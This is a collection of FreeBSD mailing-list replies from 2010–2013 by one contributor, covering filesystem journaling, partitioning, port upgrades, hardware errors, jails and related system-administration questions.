Re: setup journaling for root partition

2013-05-21 Thread Julien Cigar
gjournal should not be used anymore as it has been implemented in the 
file system code ...


On 05/21/2013 11:24, s m wrote:

thanks Michael

this is what i've done (based on the FreeBSD handbook): creating a
partition for journal, go to single user mode, unmount desired partition
(for example /usr), load gjournal, add journal partition to /usr partition.
this procedure works well for user and other partitions except root because
i can not unmount it.

should i set up journaling in fixit mode with gpart? how? i try different
ways but none of them work for me:((



On Tue, May 21, 2013 at 10:36 AM, Michael Sierchio ku...@tenebras.comwrote:


On Mon, May 20, 2013 at 10:59 PM, s m sam.gh1...@gmail.com wrote:


hello everybody

i want to setup a journal partition for my root partition. but i do not
know how to do that. in FreeBSD handbook, it is done in single user mode,
unmount the desired partition and assign the journal partition to it. i
test this procedure and it is done for /usr partition but for root
partition, it can not be unmount in single user mode.



See the man page on gjournal

  To configure journaling on the UFS file system using gjournal, one
should
  first create a gjournal provider using the gjournal utility, then run
  newfs(8) or tunefs(8) on it with the -J flag which instructs UFS to
coop-
  erate with the gjournal provider below.




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Re: setup journaling for root partition

2013-05-21 Thread Julien Cigar

On 05/21/2013 12:10, s m wrote:
you mean that journaling is enabled by default i don't think so. i 
think i misunderstanding. may i ask you to explain it more clear?




gjournal is journaling through GEOM. Since Freebsd 9 soft-updates 
journaling has been implemented for UFS. So if you want journaling for 
an UFS FS there is no reason to use gjournal anymore. (check manpages of 
newfs and/or tunefs and the -j and the -J flags)




On Tue, May 21, 2013 at 2:09 PM, Julien Cigar jci...@ulb.ac.be 
mailto:jci...@ulb.ac.be wrote:


gjournal should not be used anymore as it has been implemented in
the file system code ...


On 05/21/2013 11:24, s m wrote:

thanks Michael

this is what i've done (based on the FreeBSD handbook): creating a
partition for journal, go to single user mode, unmount desired
partition
(for example /usr), load gjournal, add journal partition to
/usr partition.
this procedure works well for user and other partitions except
root because
i can not unmount it.

should i set up journaling in fixit mode with gpart? how? i
try different
ways but none of them work for me:((



On Tue, May 21, 2013 at 10:36 AM, Michael Sierchio
ku...@tenebras.com mailto:ku...@tenebras.comwrote:

On Mon, May 20, 2013 at 10:59 PM, s m
sam.gh1...@gmail.com mailto:sam.gh1...@gmail.com wrote:

hello everybody

i want to setup a journal partition for my root
partition. but i do not
know how to do that. in FreeBSD handbook, it is done
in single user mode,
unmount the desired partition and assign the journal
partition to it. i
test this procedure and it is done for /usr partition
but for root
partition, it can not be unmount in single user mode.


See the man page on gjournal

  To configure journaling on the UFS file system using
gjournal, one
should
  first create a gjournal provider using the gjournal
utility, then run
  newfs(8) or tunefs(8) on it with the -J flag which
instructs UFS to
coop-
  erate with the gjournal provider below.



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Re: Enlightenment, libcurl undefined references to SLL_CTX_set_srp_password/username

2013-04-02 Thread Julien Cigar

You probably missed:

20130317:
  AFFECTS: users of graphics/poppler
  AUTHOR: gn...@freebsd.org

  The graphics/poppler has been updated to 0.22.2. The shared library 
version

  has changed from 18 to 34. Please rebuild all ports that depends on it:

  # portmaster -r poppler-0
or
  # portupgrade -fr graphics/poppler
or
  # pkg install -fR graphics/poppler


On 04/01/2013 20:39, Jim Ballantine wrote:

OK, I ran just pkg_libchk and the output is:

# pkg_libchk
xfce4-tumbler-0.1.27_1:
/usr/local/lib/tumbler-1/plugins/tumbler-poppler-thumbnailer.so misses
libpoppler.so.18

I'll install it and try again, but it doesn't seem like the cause.

Jim



On Mon, Apr 1, 2013 at 12:48 PM, Volodymyr Kostyrko c.kw...@gmail.comwrote:


01.04.2013 19:47, Jim Ballantine пишет:

  I believe I'm running it correctly, when I enter

pkg_libchk -vr enlightenment


Nope, just run pkg_libchk without any arguments. I don't think problem is
in enlightenment or curl, by rather some library that depends on curl and
is required by enlightenment.


--
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Re: stupid portmaster question

2013-03-25 Thread Julien Cigar

On 03/25/2013 10:40, Aryeh Friedman wrote:

How do I tell portmaster -ad to ignore certain ports because they are
broken such as editors/libreoffice is currently marked as (I am sure this
will change soon)
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-x libreoffice

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Re: IPC Shared memory segment

2013-03-19 Thread Julien Cigar

On 03/19/2013 13:06, Vagner wrote:

Hi all!
Tell me please, how may I remove shared memory segment like this:

T:m shmid:65537 shmkey:0 mode:--rw-rw-rw- owner:root group:wheel creator:root 
cgroup:wheel
NATTCH:2 SEGSZ:1048576000 CPID:2982 LPID:54375 ATIME:10:29:12 DTIME:15:56:14 
CTIME:10:51:00

Pid 2982 and pid 54375 is killed.



man ipcrm

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Re: Soekris or .. ?

2013-03-04 Thread Julien Cigar

On 03/01/2013 14:24, C. P. Ghost wrote:

On Fri, Mar 1, 2013 at 11:49 AM, Julien Cigar jci...@ulb.ac.be wrote:

Hello,

I'm looking for a small Soekris-like (http://soekris.com/) box which support
FreeBSD, any experience or brand to advise .. ?

I'm using Soekris net4801 boxes with FreeBSD without problems
since many years as small routers with pf, dhcp, bind, lighttpd etc...
Last version i've tested is 8.3. I didn't update to 9.X yet for no other
reasons than lack of time to try it, and I don't know if clang supports
Geode well enough so I can't say anything about -CURRENT. But save
for this, Soekris boxes and FreeBSD are a great match.


Thank you,
Julien

-cpghost.



Thanks for all your answers ..! it's to replace our old linux router, so 
I think I'll go with a Soekris box..!



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Soekris or .. ?

2013-03-01 Thread Julien Cigar

Hello,

I'm looking for a small Soekris-like (http://soekris.com/) box which 
support FreeBSD, any experience or brand to advise .. ?


Thank you,
Julien

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Re: PostgreSQL 9.2: database replication on demand - easy way (Bucardo in ports not available)

2013-02-17 Thread Julien Cigar

On 02/16/2013 13:26, O. Hartmann wrote:

Dear Sirs.

I send my question to this list in the hope someone has the same
problems and already found a solution. I will start explaining the
background and my difficulties with recent solutions.

We/I have a FreeBSD 10 box running a PostgreSQL 9.2 server containing
literature references via RefDB, some sort of bugtracking via Bugzilla,
several astronomical databases of the IAU (minor planet objects) and
others. Those databases are kept and maintained on one single box at the
department.

Since a lot of the data is needed in my home office or at a lab with
non-permanent internet connection, I desperately need to synchronize the
databases kept on the master with some backup database systems acting
as master/slave when they are online. The latter definition is fuzzy,
since what I need is an automated synchronization of the real master
with a sporadically upcoming slave at home or at field sites for my
science where, as said, the internet connectivity isn't provided 24/7.

I feel realy uncomfortable with the built-in streaming replication of
PostgreSQL 9.2 since I never managed it to make a successful
replication. As far as I understand, the streaming mechanism of
PostgreSQL 9.X expects the slaves to be always online, to which the
replication.

I was said that Bucardo (http://bucardo.org/) would be the tool of
choice, but FreeBSD ports seem not not have this tool. SLONY also is a
way to complicated for my for just this task - or I'm to dumb to perform
a solution that fits easily.

Is someone out here who might have the same problems and already figured
out how to solve this? I do not want to go into this crap pg_dump,
since I tried this many times and it failed due to some issues I never
figured out why in PostgreSQL 9.2. Sorry being unspecific here, it is a
long time since I tried this frustrating task and it boiled always down
to some confusing postgres/template1 issues when dumping the master
and trying to update the slave. Even following the textbook's
suggestions ended up in a mess.

Well, I appreaciate some hints and concepts (working, not hypothetical
could be's, those are floating enough around the FreeBSD related net).

Thanks in advance and thanks for the patience,

Oliver



perhaps you could do WAL shipping .. ?
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Re: gpart and FreeBSD 8.x

2012-12-03 Thread Julien Cigar

On 12/03/2012 13:31, Rick Miller wrote:

For anyone interested, Posted a new blog with regards to gpart on
FreeBSD 8.x (with a link to one of Warren's blog posts):

http://blog.hostileadmin.com/2012/12/03/freebsd-partitions-and-filesystems-with-gpart/


gpart is in BASE on 8.x so there is nothing to install


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ale0: could not disable Tx/Rx MAC(0x00000004)!

2012-11-15 Thread Julien Cigar

Hello,

I got the following problem today:

66nneewwnnffss  sseerrvveerr 
119922..116688..00..225544:://hhoommee//mmaaggee::  nnoto t 
rreespsopnonddiinngg


newnfs server 192.168.0.254:/home/mage: not responding
ale0: could not disable Tx/Rx MAC(0x0004)!
ale0: link state changed to DOWN
ale0: could not disable Tx/Rx MAC(0x0004)!
ale0: link state changed to UP
in6_purgeaddr: err=65, destination address delete failed
Nov 15 22:08:02 rivendell dhclient[1186]: short write: wanted 20 got 0 bytes
Nov 15 22:08:02 rivendell dhclient[1186]: exiting.

Only a hard reboot fixed the issue (the network was completely frozen)

This is with:

ale0@pci0:2:0:0:class=0x02 card=0x83041043 chip=0x10261969 
rev=0xb0 hdr=0x00

vendor = 'Atheros Communications'
device = 'AR8121/AR8113/AR8114 Gigabit or Fast Ethernet'
class  = network
subclass   = ethernet

on:

FreeBSD rivendell 9.1-PRERELEASE FreeBSD 9.1-PRERELEASE #0: Thu Nov 1 
18:35:54 CET 2012 root@rivendell:/usr/obj/usr/src/sys/CUSTOM amd64


Any idea what could be the cause of this ?

Thank you,
Julien

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Re: Which NNTP newsreader for huge newsgroups?

2012-10-30 Thread Julien Cigar

slrn ? http://slrn.sourceforge.net/

On 10/30/2012 15:56, C. P. Ghost wrote:

Hello,

I'm looking for an NNTP newsreader that can gracefully
handle newsgroups with a *huge* number of posts, if
possible with a moderate memory and CPU footprint.

My newsreader of choice, news/tin, while quite good for
newsgroups with a moderate number of articles can't
cope with some alt.binaries.* groups that contain over
2,000,000+ active/unread articles. It effectively thrashes
the system and consumes enormous amounts of swap
space and CPU cycles just for opening such a newsgroup.
It also takes ages to update the local index as well, because
it keeps fetching headers for articles that don't even exist or
should have been skipped, according to ~/.newsrc

If you wonder about such huge newsgroups: they are
increasingly common now that commercial NNTP providers
are over 1,000+ retention days for binaries, and some of
those newsgroups are being flooded with crap in an attempt
to DoS them.

What NNTP newsreader are you using? Which one would
you recommend for those huge newsgroups?

Thanks,
-cpghost.




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Re: Anatomy of Perfomance tests

2012-06-29 Thread Julien Cigar

On 06/29/2012 11:00, Fred Morcos wrote:

On Fri, Jun 29, 2012 at 10:53 AM, Wojciech Puchar
woj...@wojtek.tensor.gdynia.pl  wrote:

Most probably all filesystems were used with defaults.

MAYBE softupdates, but not even sure for this. Compare this to linux which
is async-like. Comparing with UFS+async would be more fair.

Still - FreeBSD default MAXPHYS in param.h is far too low. i change it to
2048*1024 (default is 128*1024) and improvement on handling large files is
huge. I run that setting everywhere. No problems.

I already talked about it on forum but was ignored.

As for scientific processing it should not depend much from OS at all, but
for sure it depends on crappy compiler that Juniper wanted...



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I would not worry too much about what this guy says. Judging from his
interpretations of the plots, he doesn't seem to know much about the
benchmarks he is running and why they behave that way on the different
systems. I think he just runs and publishes everything that says
benchmark on it, without truly understanding what's going on or even
going through the effort of providing fair comparisons.

That said, I think that the Linux kernel performs better simply due to
wider adoption (larger developer base, wider set of use-cases, etc)
and thus a higher chance of getting performance improvements.


Note that stability matters too.
I remembered a bench on PostgreSQL where Linux was faster, but at some 
point the machine had to be rebooted because it became unresponsive.



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Re: Is ZFS production ready?

2012-06-21 Thread Julien Cigar
One interesting feature of ZFS if it's block checksum: all reads and 
writes include block checksum, so it can easily detect situations where, 
for example, data is quietly corrupted by RAM.

This feature is very important for databases.

On 06/21/2012 15:58, Matthias Gamsjager wrote:

On Thu, Jun 21, 2012 at 3:43 PM, Wojciech Puchar
woj...@wojtek.tensor.gdynia.pl  wrote:


I really want to see your face when you fsck 48TB w/o ffs+j (since that is

so young must be immature :S ) of data with the phone ring non stop with


Even if ZFS would be the only filesystem in existence i would make one per
2 disks (single mirror).

No matter what's going on, what do you prefer in case say - double disk
failure from one mirror on 48 disk systems?

losing completely data of 1/24 of users (and then restoring that amount
from backups), or losing randomly chosen 1/24 of files from whole system?

answer yourself.


Sorry but I don;t follow you right there. with 48 disks you would not
mirror 24vs24. I will perform very well but there is too much risk in that.
you would rather go with a raidz2 stripe sets.



With UFS of  course i would have single disk fsck time - less than a hour.
which CAN be done out of work hours with soft updates.

i normally turn off automatic fsck for large data filesystems, and if
crash happened i run it after/before work hours.


raid is not a backup. You can loose data with any configuration or fs. so

like in the compiler discussion. There is no perfect something in this
world. It's always a tradeoff.
with ZFS you have access to most advanced techniques and I believe that
data is most safe with raidz3 as it can be. UFS cant match that and you
have to rely on a raidcontroller which can screw up your data as well.
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Re: Is ZFS production ready?

2012-06-21 Thread Julien Cigar

On 06/21/2012 16:13, Hooman Fazaeli wrote:

On 6/21/2012 4:22 PM, Wojciech Puchar wrote:

stick with UFS. It JUST WORKS(R), and is trusty.
And it works fast.


What options are there for 2TB file systems with UFS?


this should not be a problem if you use GPT + gpart (which is the way to 
go nowadays)



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Re: bsdlabel geometry params

2012-06-05 Thread Julien Cigar

On 06/05/2012 10:45, Wojciech Puchar wrote:

whats wrong in juz using bsdlabel ?




from the 9.0R release notes:


   3.2.6 Disk Partition Management Utilities

In earlier releases various utilities were available to manage disk 
partition information. They are deprecated in favor of the gpart(8) 
http://www.FreeBSD.org/cgi/man.cgi?query=gpartsektion=8manpath=FreeBSD+9.0-RELEASE 
utility. Specifically, the fdisk(8) 
http://www.FreeBSD.org/cgi/man.cgi?query=fdisksektion=8manpath=FreeBSD+9.0-RELEASE, 
disklabel(8) 
http://www.FreeBSD.org/cgi/man.cgi?query=disklabelsektion=8manpath=FreeBSD+9.0-RELEASE 
bsdlabel(8) 
http://www.FreeBSD.org/cgi/man.cgi?query=bsdlabelsektion=8manpath=FreeBSD+9.0-RELEASE, 
and sunlabel(8) 
http://www.FreeBSD.org/cgi/man.cgi?query=sunlabelsektion=8manpath=FreeBSD+9.0-RELEASE 
utilities are no longer supported actively though these are still 
available for backward compatibility.





On Tue, 5 Jun 2012, Gary Aitken wrote:


On 06/04/12 15:25, Warren Block wrote:

On Mon, 4 Jun 2012, Gary Aitken wrote:

What part of the Handbook? I would suggest using gpart(8), it 
makes GPT partitions easy, and nasty old MBR partitions aren't any 
worse than with fdisk/bsdlabel.


19.3.2


That's the Storage chapter, section Command Line Utilities. That 
is yet another section that needs updating. In the meantime, here:


I was making some notes as I went along about that.
I did decide to switch, thanks.


http://www.wonkity.com/~wblock/docs/html/disksetup.html

The second half of that covers using gpart(8). I suggest using GPT 
partitions unless your configuration does not allow them (gmirror, 
for example).


Probably should have read mail sooner...
I found the wikipedia article
 http://en.wikipedia.org/wiki/GUID_Partition_Table
exactly what I needed to make sense of gpart.
Once you understand how the dang thing is laid out,
the commands make sense.
Without that, it's pretty difficult (for me, anyway) to figure out
how it knows what it needs to know to get it done.

Thanks
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Re: what software can support that UPS ?

2012-05-14 Thread Julien Cigar

/usr/ports/sysutils/apcupsd ?

On 05/14/2012 14:06, Wojciech Puchar wrote:

seems like it is very badly made USB interface, all class data is empty,



ugen1.3: ECO Pro Series UPS EVER at usbus1, cfg=0 md=HOST spd=FULL 
(12Mbps) pwr=ON


  bLength = 0x0012
  bDescriptorType = 0x0001
  bcdUSB = 0x0101
  bDeviceClass = 0x
  bDeviceSubClass = 0x
  bDeviceProtocol = 0x
  bMaxPacketSize0 = 0x0008
  idVendor = 0x0403
  idProduct = 0xe520
  bcdDevice = 0x0400
  iManufacturer = 0x0001 EVER
  iProduct = 0x0002 ECO Pro Series UPS
  iSerialNumber = 0x0003 ECOPRO00
  bNumConfigurations = 0x0001


FreeBSD gives only ugen interface.


what (if any) software support that?
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GPT + gmirror

2012-04-25 Thread Julien Cigar

Hello,

I wondered if there is a way to gmirroring the whole disk (not slices 
separately) when using GPT?


GPT puts its metadata at the end of the disk, and when I start to use 
gmirror it overwrites the GPT metadata (... as gmirror puts also its 
metadata at the end of the disk ...).


I noticed a new option in the newfs manpage:

-r reserved
The size, in sectors, of reserved space at the end of the parti‐
tion specified in special. This space will not be occupied by
the file system; it can be used by other consumers such as
geom(4). Defaults to 0.

I wondered if it could help .. ? Why does it default to 0?

Thanks,
Julien

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Re: semi OT: correct CIDR block?

2012-03-05 Thread Julien Cigar

jcigar@dev ~ % ipcalc 10.0.0.32-10.0.0.63
deaggregate 10.0.0.32 - 10.0.0.63
10.0.0.32/27

(net-mgmt/ipcalc)

On 03/05/2012 15:30, Robert Huff wrote:

With my brain still on EBADSLEEP, I cannot decide if:

10.0.0.32-10.0.0.63

is correctly described by:

10.0.0.32/27

Anyone?  Please?


Robert Huff

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Re: limit on PV entries

2012-02-01 Thread Julien Cigar

Did you explicitly disabled superpages?
What is the output of $ sysctl vm.pmap.pg_ps_enabled ?

On 02/01/2012 10:17, n dhert wrote:

FreeBSD 8.2-RELEASE

From time to time, I get in /var/log/messages

  kernel: Approaching the limit on PV entries, consider increasing either
the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max sysctl.

this started a few weeks ago, never had that before, don't have it on other
FreeBSD 8.2-RELEASE systems.

- What does this mean?
- And how to increase either of the two and to what level ?

$ sysctl vm.pmap.shpgperproc
vm.pmap.shpgperproc: 200
$ sysctl vm.pmap.pv_entry_max
vm.pmap.pv_entry_max: 3256966
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how safe is kern.geom.part.check_integrity=0 ?

2012-01-29 Thread Julien Cigar

Hello,

I upgraded today a gmirror'ed machine from 8.2-RELEASE to 9.0-RELEASE, 
but the system fails to mount my root mirror with an error 19 when I try 
to boot with the 9.0 kernel.
I read that adding kern.geom.part.check_integrity=0 could solve the 
problem, but I haven't found any statement on the safety of setting 
this.. Any idea if it's safe ?
Also I'm a bit disappointed that there is no entry in /usr/src/UPDATING 
about this issue ...


Thanks,
Julien
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Re: AHCI timeout

2011-12-08 Thread Julien Cigar

On 12/06/2011 19:25, C. P. Ghost wrote:

On Tue, Dec 6, 2011 at 4:41 PM, Julien Cigarjci...@ulb.ac.be  wrote:

Hello,

I'm running 9.0-RC3 on a HP Proliant Microserver (N40L). A disk died in my
graid3 array and I replaced it with a new one, and now have tons of:

ahcich3: Timeout on slot 5 port 0
ahcich3: is  cs  ss 3f60 rs 3f60 tfd 40 serr
 cmd ed17


Check the connectors, both on disk and on the controller. They're
usually the culprit. Sometimes it is also a firmware problem, but
I'll try to replace the cables first.


I tried with two different connectors but the problem persists. However, 
I noticed that the problem only appear at high I/O rates (during a 
graid3 resync for example): the machine runs Bacula and the backup job 
completed successfully this night, but it was a remote machine so the 
I/O writes didn't go above 2 MB/s ...


Do you think the problem could be the firmware of the disk?




(...)

Those are Seagate disks:

jcigar@backup conf % sudo camcontrol devlist
VB0250EAVER HPG0   at scbus0 target 0 lun 0 (pass0,ada0)
ST31000528AS CC38  at scbus1 target 0 lun 0 (pass1,ada1)
ST31000528AS CC38  at scbus2 target 0 lun 0 (pass2,ada2)
ST31000333AS CC1H  at scbus3 target 0 lun 0 (pass3,ada3)

The controller is:

ahci0@pci0:0:17:0:  class=0x010601 card=0x1609103c chip=0x43911002
rev=0x40 hdr=0x00
vendor = 'ATI Technologies Inc'
device = 'SB7x0/SB8x0/SB9x0 SATA Controller [AHCI mode]'
class  = mass storage
subclass   = SATA

jcigar@backup conf % vmstat -i
interrupt  total   rate
irq17: ehci0 ehci1+2  0
irq18: ohci0 ohci1+   30  0
irq256: bge0   31354  4
irq257: ahci0   19012658   2477
irq258: hpet0:t0 4926229641
irq259: hpet0:t1 4635261603
Total   28605534   3727


Any idea what could be the cause of this ... ?


Thanks,
Julien


-cpghost.




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Re: Error: servname not supported for ai_socktype

2011-09-26 Thread Julien Cigar

try to $ kldload aio

On 09/26/2011 14:50, Vikash Jain wrote:

Hi,

While running celeryd on my freebsd system, i am getting
errorservname not supported for ai_socktype. Can somebody help me
out with this?

python manage.py celeryd -l info

[2011-09-26 00:49:42,540: WARNING/MainProcess]
  -- cel...@FreebsdEsca.Workgroup v2.3.3
  -
--- * ***  * -- [Configuration]
-- * -  ---   . broker:  amqp://rab...@127.0.0.1:5672/FreebsdEsca
- ** --   . loader:  djcelery.loaders.DjangoLoader
- ** --   . logfile: [stderr]@INFO
- ** --   . concurrency: 1
- ** --   . events:  OFF
- *** --- * ---   . beat:OFF
-- *** 
--- * - [Queues]
  --   . celery:  exchange:celery (direct)
binding:celery
[Tasks]
   . celery_test.tasks.MyTask
[2011-09-26 00:49:42,567: INFO/PoolWorker-1] child process calling self.run()
[2011-09-26 00:49:42,577: WARNING/MainProcess]
cel...@FreebsdEsca.Workgroup has started.
[2011-09-26 00:49:42,582: ERROR/MainProcess] Consumer: Connection
Error: [Errno 9] servname not supported for ai_socktype. Trying again
in 2 seconds...

OS: FreeBSD6.3
Python version: 2.7

I am able to connect to 127.0.0.1 5672 through telnet.

My /etc/services i have configured these ports for the brooker (RabbitMQ).
[vikashj@FreebsdEsca ~]$ cat /etc/services  | grep 5672
amqp 5672/tcp
amqp 5672/udp
amqp 5672/sctp
[vikashj@FreebsdEsca ~]$

- Vikash J
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Re: Error: servname not supported for ai_socktype

2011-09-26 Thread Julien Cigar
I don't know if POSIX-style semaphores have something to do with 
ai_socktype, but don't forget to compile your Python version with it too 
(SEM Use POSIX semaphores (experimental))


(btw aio has nothing to do, I replied too fast, it's for async io)

On 09/26/2011 15:56, Vikash Jain wrote:

Hi Julien/All,

It didn't helped. I had builded kernel with support for POSIX
Semaphores. I added the following line while building:
 options P1003_1B_SEMAPHORES # POSIX-style semaphores

- Vikash

On Mon, Sep 26, 2011 at 7:02 PM, Julien Cigarjci...@ulb.ac.be  wrote:

try to $  kldload aio

On 09/26/2011 14:50, Vikash Jain wrote:


Hi,

While running celeryd on my freebsd system, i am getting
errorservname not supported for ai_socktype. Can somebody help me
out with this?

python manage.py celeryd -l info

[2011-09-26 00:49:42,540: WARNING/MainProcess]
  -- cel...@FreebsdEsca.Workgroup v2.3.3
  -
--- * ***  * -- [Configuration]
-- * -  ---   . broker:  amqp://rab...@127.0.0.1:5672/FreebsdEsca
- ** --   . loader:  djcelery.loaders.DjangoLoader
- ** --   . logfile: [stderr]@INFO
- ** --   . concurrency: 1
- ** --   . events:  OFF
- *** --- * ---   . beat:OFF
-- *** 
--- * - [Queues]
  --   . celery:  exchange:celery (direct)
binding:celery
[Tasks]
   . celery_test.tasks.MyTask
[2011-09-26 00:49:42,567: INFO/PoolWorker-1] child process calling
self.run()
[2011-09-26 00:49:42,577: WARNING/MainProcess]
cel...@FreebsdEsca.Workgroup has started.
[2011-09-26 00:49:42,582: ERROR/MainProcess] Consumer: Connection
Error: [Errno 9] servname not supported for ai_socktype. Trying again
in 2 seconds...

OS: FreeBSD6.3
Python version: 2.7

I am able to connect to 127.0.0.1 5672 through telnet.

My /etc/services i have configured these ports for the brooker (RabbitMQ).
[vikashj@FreebsdEsca ~]$ cat /etc/services  | grep 5672
amqp 5672/tcp
amqp 5672/udp
amqp 5672/sctp
[vikashj@FreebsdEsca ~]$

- Vikash J
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AHCI: Error while READ LOG EXT

2011-09-16 Thread Julien Cigar

Hello,

I got strange errors from ahci this morning (on a 8.2-RELEASE box):

+ahcich3: Error while READ LOG EXT
+ahcich3: Error while READ LOG EXT
+GEOM_MIRROR: Request failed (error=5). ada1[READ(offset=457644130304, 
length=16384)]

+GEOM_MIRROR: Device backup: provider ada1 disconnected.
+(ada1:ahcich3:0:0:0): Synchronize cache failed
+ahcich3: Error while READ LOG EXT
+ahcich3: Error while READ LOG EXT
+ahcich3: Error while READ LOG EXT

The disks are quite recent, so I wondered if it could be a bug in the 
ahci driver .. ?


The controller is a JMicron:

ahci1@pci0:0:31:2:  class=0x010601 card=0x81ec1043 chip=0x28248086 
rev=0x02 hdr=0x00

vendor = 'Intel Corporation'
device = '82801HR/HO/HH (ICH8R/DO/DH) SATA AHCI Controller'
class  = mass storage
subclass   = SATA

ahci0@pci0:2:0:0:   class=0x010601 card=0x81e41043 chip=0x2363197b 
rev=0x03 hdr=0x00

vendor = 'JMicron Technology Corp.'
device = 'JMicron JMB362/JMB363 AHCI Controller (JMB36X)'
class  = mass storage
subclass   = SATA

atapci0@pci0:2:0:1: class=0x010185 card=0x81e41043 chip=0x2363197b 
rev=0x03 hdr=0x00

vendor = 'JMicron Technology Corp.'
device = 'JMicron JMB362/JMB363 AHCI Controller (JMB36X)'
class  = mass storage
subclass   = ATA


thank you,
Julien

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Re: 9.0-RC1 Release?

2011-08-26 Thread Julien Cigar

http://wiki.freebsd.org/Releng/9.0TODO

CAUTION: FreeBSD Release Schedules may slip so the above dates are not 
guaranteed.


On 08/26/2011 08:52, Nathaniel Torbett wrote:

Hello,

Distrowatch has you slated to release 9.0-RC1 on 8/24.  I cannot find the
release for download.  Is this delayed and is there a new release
date/schedule?

Thank you,

Nathaniel Torbett
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Re: problem with shell script

2011-01-13 Thread Julien Cigar

just use: pgrep slapd

On 01/12/2011 15:17, four.harris...@googlemail.com wrote:

Hello

I'm in trouble with a simple shell script that give
erroneous value when running ...

If I run commands interactively everything runs well

ps ax | grep slapd | grep -v grep | wc -l
1

If I run in the following shell script :

#!/bin/sh
SD=0
SD=`ps -ax | grep slapd | grep -v grep | wc -l`
echo $SD

the result is 3 !!!


Any info welcome !

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Corrupted MAC on input. Disconnecting: Packet corrupt

2011-01-11 Thread Julien Cigar

Hello,

I'm facing a very strange problem on a machine: When I unzip a file (I'm 
100% sure the file is not corrupted) and I get the following:


jci...@frodon ~ % ssh 10.0.0.225
Password:
jci...@dev ~ % unzip elgg-1.7.6.zip
Archive:  elgg-1.7.6.zip
   creating: elgg-1.7.6/
   creating: elgg-1.7.6/engine/
  inflating: elgg-1.7.6/engine/settings.example.php
   creating: elgg-1.7.6/engine/handlers/
   creating: 
elgg-1.7.6/mod/tinymce/tinymce/jscripts/tiny_mce/plugins/emotions/langs/
  inflating: 
elgg-1.7.6/mod/tinymce/tinymce/jscripts/tiny_mce/plugins/emotions/langs/en_dlg.js 

  inflating: 
elgg-1.7.6/mod/tinymce/tinymce/jscripts/tiny_mce/plugins/emotions/editor_plugin.js 

  inflating: 
elgg-1.7.6/mod/tinymce/tinymce/jscripts/tiny_mce/plugins/emotions/emotions.htm 


Corrupted MAC on input.
Disconnecting: Packet corrupt
jci...@frodon ~ %

The system is running 8.2-RC1 (amd64). I had the same problem under 
8.1-RELEASE (I thought it was a bug in the Ethernet driver, so I 
upgraded to 8.2-RC1)


The card is:
a...@pci0:2:0:0:class=0x02 card=0x82261043 chip=0x10481969 
rev=0xb0 hdr=0x00

vendor = 'Attansic (Now owned by Atheros)'
device = 'Gigabit Ethernet 10/100/1000 Base-T Controller 
(Atheros L1)'

class  = network
subclass   = ethernet

Any idea what could be the problem ?

Thanks,
Julien

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Re: Corrupted MAC on input. Disconnecting: Packet corrupt

2011-01-11 Thread Julien Cigar

On 01/11/2011 10:43, Julien Cigar wrote:

Hello,

I'm facing a very strange problem on a machine: When I unzip a file (I'm
100% sure the file is not corrupted) and I get the following:

jci...@frodon ~ % ssh 10.0.0.225
Password:
jci...@dev ~ % unzip elgg-1.7.6.zip
Archive: elgg-1.7.6.zip
creating: elgg-1.7.6/
creating: elgg-1.7.6/engine/
inflating: elgg-1.7.6/engine/settings.example.php
creating: elgg-1.7.6/engine/handlers/
creating:
elgg-1.7.6/mod/tinymce/tinymce/jscripts/tiny_mce/plugins/emotions/langs/
inflating:
elgg-1.7.6/mod/tinymce/tinymce/jscripts/tiny_mce/plugins/emotions/langs/en_dlg.js

inflating:
elgg-1.7.6/mod/tinymce/tinymce/jscripts/tiny_mce/plugins/emotions/editor_plugin.js

inflating:
elgg-1.7.6/mod/tinymce/tinymce/jscripts/tiny_mce/plugins/emotions/emotions.htm

Corrupted MAC on input.
Disconnecting: Packet corrupt
jci...@frodon ~ %

The system is running 8.2-RC1 (amd64). I had the same problem under
8.1-RELEASE (I thought it was a bug in the Ethernet driver, so I
upgraded to 8.2-RC1)

The card is:
a...@pci0:2:0:0: class=0x02 card=0x82261043 chip=0x10481969 rev=0xb0
hdr=0x00
vendor = 'Attansic (Now owned by Atheros)'
device = 'Gigabit Ethernet 10/100/1000 Base-T Controller (Atheros L1)'
class = network
subclass = ethernet

Any idea what could be the problem ?

Thanks,
Julien


OK, I dug a bit and found the problem ...

I have 4 memory slots on the motherboard : D C  B A
When I put a memory stick in A _or_ C it works
When I put memory sticks in A _and_ C it works too
However, when I put memory sticks in A _and_ B or A _and_ B _and_ C it 
fails ... (dual channel)


Could it be a bug... or a broken Bios ?





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Re: Updating.

2010-12-26 Thread Julien Cigar

On 12/26/2010 23:03, RW wrote:

On Sun, 26 Dec 2010 15:11:54 -0500
Grant Peelgp...@thenetnow.com  wrote:


Hi all,

Up to this point I have always updated (within a branch), by dropping
to single user mode for everything.

After running cvsup to obtain the new source, is it generally
considered OK to run the maike buildworld in multiuser mode, or, are
the dangers to doing this?



Personally,  I don't bother with single-user mode at all within
release branches. I do everything in multiuser mode and reboot
afterwards at my convenience. I've never had a problem, but I do check
UPDATING just in case there's anything abnormal.




same here ... just be sure to disable all daemons in rc.conf except sshd



I do it by the book when moving between releases branches though, and
reboot into single user mode after installing the kernel.
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hast

2010-08-12 Thread Julien Cigar

Hello,

I would like to test HAST / CARP as a cheap redundant storage solution.
Apart NFS, are there other ways to export the file system of the HAST box?

Thanks,
Julien

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Re: How to connect a jail to the web ?

2010-08-10 Thread Julien Cigar

On 08/10/2010 13:01, Brice ERRANDONEA wrote:

Hello,

I've just created my first FreeBSD jail in order to install a web server inside.
But I don't know how to connect it to the web. When I try pinging a http
website, it doesn't work. Of course, it works when I do it from outside the
jail.

Another problem, probably linked to the first one, I can't run rc within the
jail, even as the jail's root. It says : permission denied.

Here's how I built and started my jail. I had already run make buildworld when
upgrading to 8.1 release :

# mkdir /usr/prison
# cd /usr/src
# make installworld DESTDIR=/usr/prison
# make distribution DESTDIR=/usr/prison
# mount -t devfs devfs /usr/prison/dev
# jail -c path=/usr/prison host.hostname=ServeurWeb ip4.addr=192.1.1.1 persist
# jail /usr/prison ServeurWeb 192.1.1.1 csh

I guess this must be a very basic question but please help me.



make sure NAT is enabled on the host..
I use PF for that with something like (/etc/pf.conf):

ext_if=bce0
int_if=bce1
internal_net=192.168.0.0/24
nat on $ext_if from $internal_net to any - ($ext_if)





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Re: What is the meaning of this warn?

2010-07-26 Thread Julien Cigar

On 07/26/2010 07:48, Jason wrote:

HI,ALL:


Hello,



My freebsd server offer service to thousands of clients.
I found lots of warning in the /var/log/message like this :Approaching
the limit on PV entries, consider increasing either the
